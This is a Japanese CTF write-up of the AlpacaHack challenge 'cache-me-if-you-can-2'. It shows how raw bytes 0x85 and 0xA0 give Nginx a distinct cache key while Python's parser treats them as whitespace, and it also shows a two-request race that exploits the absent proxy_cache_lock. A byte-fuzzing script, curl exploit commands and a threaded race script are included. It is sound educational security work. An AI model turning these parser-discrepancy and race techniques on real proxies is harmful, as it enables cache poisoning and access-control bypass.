CTF Writeup Alpacahack cache-me-if-you-can-2のカバー画像

CTF Writeup Alpacahack cache-me-if-you-can-2

作成日:2026-08-06
更新日:2026-08-06

基本情報

問題文

Cache Me If You Can に隠されたもう一つの解法を見つけてください!

.diff
$ diff cache-me-if-you-can/nginx/default.conf cache-me-if-you-can-2/nginx/default.conf 1a2 > proxy_cache_key "$scheme$proxy_host$uri"; # diff!

前問からの変更点は、Nginxのキャッシュキーを明示する1行だけらしい。

作業ログ

配布ファイルを読む

まずは全体を確認。

.console
$ tree cache-me-if-you-can-2/ cache-me-if-you-can-2/ ├── app │ ├── Dockerfile │ └── server.py ├── compose.yaml └── nginx ├── Dockerfile └── default.conf 3 directories, 5 files

NginxとFlaskだけの小さな構成だ。

compose.yaml
services: nginx: build: nginx restart: unless-stopped ports: - ${PORT:-3000}:80 app: build: app restart: unless-stopped

外部へ公開されるのはNginxだけで、Flaskへ直接アクセスすることはできない。

Flask側を見る。

app/server.py
from flask import Flask FLAG = "Alpaca{REDACTED}" app = Flask(__name__) first_request = True @app.get("/") def index(): return "Try /flag. The cache stores responses for one year :P" @app.get("/flag") def flag(): global first_request body = "Cache me if you can." if first_request else FLAG first_request = False return body app.run(host="0.0.0.0", port=8000)

/flagの1回目だけダミーを返し、2回目以降はフラグを返す。

次はNginxの設定。

nginx/default.conf
proxy_cache_path /var/cache/nginx/proxy keys_zone=flag_cache:10m inactive=365d; proxy_cache_key "$scheme$proxy_host$uri"; # diff! server { listen 80; location / { proxy_pass http://app:8000; proxy_cache flag_cache; proxy_cache_valid 200 365d; } }

Flaskが返したステータス200のレスポンスは365日キャッシュされる。普通に2回アクセスすると、1回目のダミーがNginxへ保存され、2回目はFlaskまで届かないはず。

.console
$ docker compose up --build -d $ curl http://127.0.0.1:3000/flag Cache me if you can. $ curl http://127.0.0.1:3000/flag Cache me if you can.

予想どおり。Flaskの状態は2回目ならフラグを返せるのに、Nginxが同じキャッシュを返し続けている。

キャッシュキーをずらせないか試す

追加された設定は次の式。

.text
proxy_cache_key "$scheme$proxy_host$uri";

通常の/flagなら、おおよそhttpapp:8000/flagというキーになる。

変数 今回の値 意味
$scheme http クライアントがNginxへ接続した方式
$proxy_host app:8000 proxy_passの転送先
$uri /flag Nginxが保持する正規化後のURI

$uriにはクエリ文字列が含まれない。nginx-uri 前問で使えたクエリ変更を試しても、今回は両方とも同じキーになる。

.console
$ curl 'http://127.0.0.1:3000/flag?x=1' Cache me if you can. $ curl 'http://127.0.0.1:3000/flag?x=2' Cache me if you can.

ならば、Nginxでは別の$uriになり、Flaskでは/flagとして扱われる表記を探せばよさそう。思いつくものを試した。

リクエストターゲット 結果 推測
/%66lag ダミー Nginxが%66fへ戻していそう
//flag ダミー 連続スラッシュをまとめていそう
/flag/ 404 Flaskでは別ルートになる
/./flag 404 NginxとFlaskで転送時の扱いが違いそう
/foo/../flag 404 同上
/flag%2f 404 Flaskには末尾スラッシュ付きで届きそう

Nginxはlocation判定や$uriの生成時に、パーセントエンコード、...、連続するスラッシュを正規化する。nginx-normalize 一方、この設定のproxy_passにはURI部分がないため、バックエンドへは元のリクエストターゲットが渡る場合がある。nginx-proxy-pass

キャッシュを使わないようお願いするヘッダも試した。

.console
$ curl -H 'Cache-Control: no-cache' http://127.0.0.1:3000/flag $ curl -H 'Cache-Control: no-store' http://127.0.0.1:3000/flag $ curl -H 'Pragma: no-cache' http://127.0.0.1:3000/flag

どれもダミーのキャッシュが返った。HEAD /flagも、NginxがデフォルトでGETと同じキャッシュキーへ変換するので失敗。小文字のgetを使ってNginxとFlaskのメソッド解釈をずらす案は、Nginxの時点で400 Bad Requestになった。

うーん、思いつきでURIを増やしても終わらなさそう。

1バイトずつ全部試してみる

思いつくURI表記を手作業で試してきたが、まだ候補はいくらでもある。ここで「どんな文字を付けるか」を考え続けるより、機械的に全部試した方が早いのではと思った。

HTTPリクエストラインを受け取った直後のNginxが見ているのは文字ではなくバイト列である。末尾へ1バイトだけ追加するなら、候補は0x00から0xFFまでの256種類しかない。

調べたいのは、次のようなリクエストターゲットである。

.text
/flag\x00 /flag\x01 ... /flag\xFF

ここでの\x85などは、バックスラッシュを含む4文字ではなく、値が0x85のraw 1バイトを表す。curlは改行やヌル文字を含むリクエストターゲットの送信には向かないため、ソケットからリクエストラインを直接送ることにした。

probe.py
import socket from collections import defaultdict HOST = "127.0.0.1" PORT = 3000 def request(target: bytes) -> bytes: payload = ( b"GET " + target + b" HTTP/1.1\r\n" b"Host: localhost\r\n" b"Connection: close\r\n\r\n" ) try: with socket.create_connection((HOST, PORT), timeout=1) as sock: sock.settimeout(1) sock.sendall(payload) response = b"" while True: try: chunk = sock.recv(4096) except TimeoutError: break if not chunk: break response += chunk except OSError: return b"" return response def classify(response: bytes) -> str: if b"Alpaca{" in response: return "FLAG" if b"Cache me if you can." in response: return "DUMMY" status = response.split(b"\r\n", 1)[0] if b" 400 " in status: return "400" if b" 404 " in status: return "404" return "OTHER" # /flagのダミーをキャッシュさせ、Flask側を2回目の状態へ進める request(b"/flag") results: dict[str, list[int]] = defaultdict(list) for value in range(256): response = request(b"/flag" + bytes([value])) result = classify(response) results[result].append(value) for result in ("400", "DUMMY", "404", "FLAG", "OTHER"): values = results[result] if values: formatted = " ".join(f"{value:02X}" for value in values) print(f"{result:5}: {len(values):3}{formatted}")

キャッシュやFlaskの変数が前回の検証から残らないよう、コンテナを作り直して実行する。

出力では256個すべてのバイト値が表示されるため、次の掲載結果では長い行の途中を省略した。

.console
$ docker compose down $ docker compose up --build -d $ python probe.py 400 : 33個 00 01 02 03 04 05 06 07 08 09 0B ... 1F 25 7F DUMMY: 4個 0A 20 23 3F 404 : 217個 21 22 24 26 27 28 29 2A 2B ... FD FE FF FLAG : 2個 85 A0

256種類すべての結果を分類できた。0x850xA0の2種類が成功した。

ファジング結果が意味することを考える

このスクリプトはNginx内部の解析結果を直接表示しているわけではない。それでも、フラグが返ったことから二つの事実を逆算できる。

まず、通常の/flagに対するダミーレスポンスはすでにキャッシュされている。もし/flag\x85が同じキャッシュキーになったなら、返るのはそのダミーのはずである。フラグが返った以上、Nginxでは通常の/flagとは異なるキャッシュキーになっている。

一方、Flaskでフラグを返せるルートは/flagしかない。したがって、バックエンド側では/flag\x85/flagとして解釈されているはず。

.mermaid
flowchart LR A[raw /flag + 0x85] --> B[Nginx] B -->|通常の /flag とは別キー| C[cache miss] C --> D[Flask側] D -->|/flag として解釈| E[FLAG]

ほかのバイトの結果も、原因は一つではない。

観測した結果 考えられる意味
400 Bad Request Nginxがリクエストラインを受理しなかった
404 Not Found バックエンドまで届いたが、Flaskでは別のパスになった
ダミー 通常の/flagと同じキャッシュに当たった
フラグ Nginxでは別キー、Flaskでは/flagになった

総当たりで候補は見つかったが、なぜ0x850xA0なのかはまだ分からない。まず、Nginxが本当に別の$uriを作っているか確認することにした。

Nginxが認識したURIをログへ出す

配布されたnginx/default.confへ、調査中だけ次のログ設定を追加する。

nginx/default.conf
log_format probe escape=default 'request_uri="$request_uri" uri="$uri" status=$status'; access_log /dev/stdout probe;

$request_uriは受信したリクエストターゲット、$uriはキャッシュキーにも使われる正規化後のURIである。nginx-uri escape=defaultを指定すると、そのまま表示しにくいバイトが\x85のようにエスケープされる。

設定を反映するためコンテナを作り直し、通常の/flagと見つかった2種類を送ってログを比べる。

.console
$ docker compose down $ docker compose up --build -d $ curl http://127.0.0.1:3000/flag Cache me if you can. $ curl --request-target $'/flag\x85' http://127.0.0.1:3000 Alpaca{REDACTED} $ curl --request-target $'/flag\xa0' http://127.0.0.1:3000 Alpaca{REDACTED}
.console
$ docker compose logs nginx nginx-1 | request_uri="/flag" uri="/flag" status=200 nginx-1 | request_uri="/flag\x85" uri="/flag\x85" status=200 nginx-1 | request_uri="/flag\xA0" uri="/flag\xA0" status=200

予想どおり、Nginxの$uriには追加した1バイトが残っていた。したがって、三つのキャッシュキーは別々になる。

ここまでの観測だけで、攻略に必要な条件はすでにそろっている。

  • Nginxのログでは/flag/flag\x85/flag\xA0が別の$uriになった
  • ファザーでは/flag\x85/flag\xA0のレスポンスだけにフラグが含まれた
  • フラグを返すFlaskのルートは/flagしかない

したがって、バックエンド内部の実装を読まなくても「Nginxでは別URIだが、Flask側では/flagとして扱われる2バイト」と結論付けられる。

候補バイトの性質を確認する

解法には不要だが、なぜこの2バイトが選ばれたのかだけは気になる。バックエンドがPythonで動いているので、Python上で0x850xA0に対応する文字の性質を確認してみる。

.python
>>> for value in (0x85, 0xA0): ... character = chr(value) ... print(f"0x{value:02X}", character.isspace()) 0x85 True 0xA0 True

どちらもPythonでは空白文字として扱われた。実際に、この2文字を含むリクエストラインをsplit()すると、パス部分は/flagになる。

.python
>>> ("GET /flag" + chr(0x85) + " HTTP/1.1").split() ['GET', '/flag', 'HTTP/1.1'] >>> ("GET /flag" + chr(0xA0) + " HTTP/1.1").split() ['GET', '/flag', 'HTTP/1.1']

0x85はNEXT LINE、0xA0はNO-BREAK SPACEに対応する。NginxのログではURIの一部として残っていた一方、Pythonでは空白になる。この性質なら、ファジングで観測した結果をきれいに説明できる。

ほかにもPythonが空白とみなす値はある。

.python
>>> [f"0x{value:02X}" for value in range(256) if chr(value).isspace()] ['0x09', '0x0A', '0x0B', '0x0C', '0x0D', '0x1C', '0x1D', '0x1E', '0x1F', '0x20', '0x85', '0xA0']

しかし、0x20はNginxでもURIの区切りになり、それより小さい制御バイトは400になるか、通常の/flagと同じダミーを返していた。Nginxでは別URI、Pythonでは空白という両方の条件を満たしたのが、0x850xA0だったと考えられる。

バイト Nginxでの観測 Pythonでの確認 ファザーの結果
0x20 通常の/flagと同じキー 空白 ダミー
0x85 $uriに残る 空白 フラグ
0xA0 $uriに残る 空白 フラグ
そのほかの高位バイト 別URIになるものがある 空白ではない 404

処理全体を整理する

.mermaid
sequenceDiagram participant C as Client participant N as Nginx participant F as Flask C->>N: GET /flag Note over N: $uri = /flag<br/>cache miss N->>F: GET /flag F-->>N: Cache me if you can.<br/>first_request = False N-->>C: Cache me if you can. C->>N: GET /flag + raw 0xA0 Note over N: $uri = /flag + 0xA0<br/>別キーなのでcache miss N->>F: GET /flag + raw 0xA0 Note over F: 観測上は /flag として処理 F-->>N: Alpaca{...} N-->>C: Alpaca{...}

最終的な解法

通常の/flagへ1回アクセスし、Flaskのfirst_requestFalseにする。このレスポンスは$uri=/flagのキーへキャッシュされる。

次に、/flagの末尾へraw 0x85または0xA0を付けてアクセスする。

.console
$ TARGET=http://***.***.***.*** $ curl "$TARGET/flag" Cache me if you can. $ curl --request-target $'/flag\xa0' "$TARGET" Alpaca{REDACTED}

Nginxは/flag/flag\xA0を別の$uriとして扱うため、2回目はcache missになる。一方、Flask側では/flag\xA0/flagとして扱われるため、2回目のリクエストがフラグを返す。

キャッシュの保存タイミングに依存せず、今回追加された$uriとバックエンドのHTTP解釈差を直接利用する解法だった。

ゴリ押し解法:2リクエストを同時に送る

別の方法として、ダミーレスポンスがキャッシュへ保存される前に、同じキーのリクエストを2本ともFlaskへ届けることもできた。

設定にはproxy_cache_lock on;がない。Nginxのproxy_cache_lockはデフォルトで無効なので、同じキーへのcache missが重なると、一方のキャッシュ生成完了まで他方を待たせる保証がない。nginx-cache-lock

必要なのは2本だけ。TCP接続を先に確立し、両方のスレッドを待ち合わせてから同じGET /flagを送る。

solve-race.py
import socket import threading HOST = "127.0.0.1" PORT = 3000 request = ( b"GET /flag HTTP/1.1\r\n" b"Host: 127.0.0.1:3000\r\n" b"Connection: close\r\n\r\n" ) sockets = [ socket.create_connection((HOST, PORT)), socket.create_connection((HOST, PORT)), ] barrier = threading.Barrier(2) responses = [b"", b""] def worker(index: int) -> None: sock = sockets[index] barrier.wait() sock.sendall(request) while chunk := sock.recv(4096): responses[index] += chunk sock.close() threads = [ threading.Thread(target=worker, args=(index,)) for index in range(2) ] for thread in threads: thread.start() for thread in threads: thread.join() for response in responses: body = response.split(b"\r\n\r\n", 1)[1] print(body.decode())
.console
$ python solve-race.py Cache me if you can. Alpaca{REDACTED}

表示順は実行ごとに入れ替わることがある。両方がキャッシュ確認を終えてFlaskへ転送されれば、先に処理されたリクエストがダミーを返してfirst_request=Falseにし、もう一方がフラグを返す。

.mermaid
sequenceDiagram participant C as Client participant N as Nginx cache participant F as Flask par request A C->>N: GET /flag N->>F: cache miss and request B C->>N: GET /flag N->>F: cache miss end F-->>N: Cache me if you can.<br/>first_request = False F-->>N: Alpaca{...} N-->>C: dummy N-->>C: FLAG

こちらはネットワークやスケジューリングに依存する。失敗してダミーがキャッシュされた場合は環境を作り直して再試行する必要があるため、raw 0x850xA0を使う解法より不安定。

脚注